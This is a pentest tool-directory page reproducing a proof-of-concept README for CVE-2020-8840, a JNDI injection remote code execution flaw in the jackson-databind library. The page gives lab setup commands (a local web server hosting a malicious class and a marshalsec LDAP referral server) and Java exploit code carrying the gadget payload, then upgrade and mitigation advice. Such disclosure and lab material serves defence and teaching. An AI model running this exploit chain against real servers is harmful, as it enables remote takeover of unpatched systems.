Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-8840 — PoC exploit for CVE-2020-8840: JNDI injection leading to remote code execution in FasterXML jackson-databind. Includes environment setup, exploit chain, and remediation guidance. | Kitploit
Tools/GitHubGitHub/fairyming/cve-2020-8840
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubfairyming/cve-2020-8840

CVE-2020-8840

PoC exploit for CVE-2020-8840: JNDI injection leading to remote code execution in FasterXML jackson-databind. Includes environment setup, exploit chain, and remediation guidance.

View Repository
37716 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-8840: FasterXML/jackson-databind Remote Code Execution Vulnerability

0x00 Introduction

jackson-databind is a JSON processing library under the FasterXML project.

0x01 Vulnerability Overview

On February 19, NVD released a security advisory disclosing a remote code execution vulnerability (CVE-2020-8840) in jackson-databind caused by JNDI injection, with a CVSS score of 9.8. In affected versions of jackson-databind, due to missing certain xbean-reflect/JNDI blacklist classes, such as org.apache.xbean.propertyeditor.JndiConverter, an attacker can achieve remote code execution through JNDI injection, and upon successful exploitation, gain control of the server (at the Web service level).

0x02 Affected Versions

2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2

0x03 Environment Setup

  • JDK version: 1.81 [Using ldap and rmi with JNDI injection imposes certain requirements on the JDK version. The following diagram clearly shows Oracle's fix timeline.]

20190606014739_69118.jpg

  1. Place the compiled malicious class in the web server directory WX20200223-135435@2x.png Here, simplehttp is used to set up the web server:
root@kitploit:~
python -m SimpleHTTPServer 8080

image.png

  1. Start the ldap service marshalsec is used here. GitHub link: https://github.com/mbechler/marshalsec
root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit

image.png

  1. Create a Java project and import the vulnerable version of the jar WX20200223-135855@2x.png

0x04 Exploitation

  • The entire exploitation chain
root@kitploit:~
poc --> ldap --> http
  • poc
root@kitploit:~
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
    public static void main(String args[]) {
        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

        String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";

        try {
            mapper.readValue(json, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}
  • Run the poc directly, and it loads the malicious class from the web server via ldap, leading to remote code execution

WX20200223-140159@2x.png

0x05 Fix

  1. Upgrade jackson-databind to 2.9.10.3, 2.8.11.5, or 2.10.x
  2. Check if xbean-reflect is used in the project. The core reason for this vulnerability is that xbean-reflect contains a special exploitation chain that allows the attacker to trigger JNDI remote class loading. Removing xbean-reflect can mitigate the impact of the vulnerability.

References:

https://cert.360.cn/warning/detail?id=1fe3b5ea888750006e0d64fb0df1e6ee

https://github.com/jas502n/CVE-2020-8840

Download Tool